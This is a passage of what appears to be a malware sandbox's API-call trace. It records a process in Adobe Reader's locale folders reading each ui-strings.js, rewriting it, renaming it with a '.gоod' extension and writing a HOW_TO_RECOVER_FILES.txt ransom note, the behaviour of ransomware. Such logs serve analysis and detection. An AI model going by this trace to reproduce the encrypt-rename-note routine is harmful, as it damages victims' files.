[0138.726] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0138.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0138.726] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0138.726] GetFileType (hFile=0x618) returned 0x1 [0138.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0138.726] GetFileType (hFile=0x618) returned 0x1 [0138.727] WriteFile (in: hFile=0x618, lpBuffer=0x39352e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x39352e0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0138.728] CloseHandle (hObject=0x618) returned 1 [0138.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0138.731] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu", lpFilePart=0x0) returned 0x68 [0138.731] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0139.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0139.122] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.123] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0139.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0139.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0139.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0139.123] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu", lpFilePart=0x0) returned 0x68 [0139.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0139.123] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.123] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0139.157] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0139.157] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0139.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0139.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0139.157] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0139.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a6cf00 | out: lpFileInformation=0x3a6cf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea8)) returned 1 [0139.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0139.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0139.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0139.158] GetFileType (hFile=0x6e4) returned 0x1 [0139.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0139.158] GetFileType (hFile=0x6e4) returned 0x1 [0139.158] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xea8 [0139.158] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a6e110, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3a6e110*, lpNumberOfBytesRead=0x1ffeba08*=0xea8, lpOverlapped=0x0) returned 1 [0139.291] CloseHandle (hObject=0x6e4) returned 1 [0139.316] SleepEx (dwMilliseconds=0x2, bAlertable=0) returned 0x0 [0139.467] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0139.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.468] GetFileType (hFile=0x61c) returned 0x1 [0139.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0139.468] GetFileType (hFile=0x61c) returned 0x1 [0139.468] WriteFile (in: hFile=0x61c, lpBuffer=0x38e14c8*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x38e14c8*, lpNumberOfBytesWritten=0x1ffeb918*=0xeb0, lpOverlapped=0x0) returned 1 [0139.508] CloseHandle (hObject=0x61c) returned 1 [0139.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0139.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0139.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4f5dd231, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0139.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0139.509] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hu-hu\\ui-strings.js.gоod")) returned 1 [0139.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0139.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0139.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0139.510] GetFileType (hFile=0x61c) returned 0x1 [0139.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0139.511] GetFileType (hFile=0x61c) returned 0x1 [0139.511] WriteFile (in: hFile=0x61c, lpBuffer=0x38e4d38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x38e4d38*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0139.512] CloseHandle (hObject=0x61c) returned 1 [0139.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0139.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it", lpFilePart=0x0) returned 0x68 [0139.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0139.513] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.513] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0139.513] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.513] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0139.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0139.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0139.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0139.513] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it", lpFilePart=0x0) returned 0x68 [0139.513] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0139.514] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.514] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0139.514] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0139.514] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0139.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0139.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0139.514] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0139.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3905db8 | out: lpFileInformation=0x3905db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae)) returned 1 [0139.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0139.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0139.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.515] GetFileType (hFile=0x61c) returned 0x1 [0139.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0139.515] GetFileType (hFile=0x61c) returned 0x1 [0139.515] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xeae [0139.515] ReadFile (in: hFile=0x61c, lpBuffer=0x3906fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3906fd0*, lpNumberOfBytesRead=0x1ffeba08*=0xeae, lpOverlapped=0x0) returned 1 [0139.517] CloseHandle (hObject=0x61c) returned 1 [0139.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.835] SetThreadErrorMode (dwNewMode=0x1, 